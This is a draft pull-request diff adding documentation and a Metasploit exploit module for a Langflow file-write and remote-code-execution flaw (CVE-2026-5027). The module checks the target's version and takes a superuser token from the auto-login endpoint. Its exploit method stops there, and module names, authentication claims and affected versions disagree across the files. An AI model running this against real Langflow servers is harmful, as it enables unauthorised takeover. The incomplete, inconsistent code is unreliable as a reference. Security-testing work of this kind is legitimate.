Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
## Vulnerable Application

Langflow versions 1.8.4 and below are susceptible to authenticated remote code
execution. Due to improper input sanitization on the /api/v2/files API, malicious
actors are able to write and execute arbitrary files to a victim server.

The vulnerability affects:

* Langflow <= 1.8.4


This module was successfully tested on:

* Langflow 1.8.4 installed with Docker


### Installation
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Langflow docker container (v1.8.4) in your VM.
`docker pull langflowai/langflow:1.8.4`
4. Start the langflow container.


```
sudo docker run -d \
--name langflow \
-p 192.168.1.30:7860:7860 \
--restart unless-stopped \
langflowai/langflow:1.8.4 \
```

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_5027`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<langflow username> password=<langflow password>`
5. You should get a meterpreter


## Options


## Scenarios
```

```
127 changes: 127 additions & 0 deletions modules/exploits/multi/http/langflow_auth_rce_cve_2026_5027.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI authenticated file write and RCE',
'Description' => %q{
Langflow versions 1.8.4 and below are susceptible to authenticated remote code
execution. Due to improper input sanitization on the /api/v2/files API, malicious
actors are able to write and execute arbitrary files to a victim server.
},
'Author' => [
'cardosource', # ExploitDB PoC author
'Richard Howe <rhowe425>' # Metasploit module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-5027'],
['URL', 'https://www.exploit-db.com/exploits/52659']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-08-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
Opt::RPORT(7860),
OptString.new(
'TARGETURI',
[true, 'Base path of the Langflow application', '/']
),
OptString.new(
'USERNAME',
[true, 'Langflow username', '']
),
OptString.new(
'PASSWORD',
[true, 'Langflow password', '']
)
]
)
end

def get_token
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'),
'ctype' => 'application/json'
}
)

return unless res && res.code == 200

json = res.get_json_document
return unless json.is_a?(Hash)

json['access_token']
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)

return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

doc = res.get_json_document
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

package = doc.is_a?(Hash) ? doc['package'] : nil
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'

version = Rex::Version.new(version_str.to_s)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

# Vulnerable version of Langflow
return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.9.0')

# Patched version of Langflow
Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
end

def exploit
# Get SUPERUSER token
token = get_token

if token.to_s.empty?
fail_with(Failure::UnexpectedReply, 'Could not retrieve SUPERUSER API key from /api/v1/auto_login')
end
end
end
Loading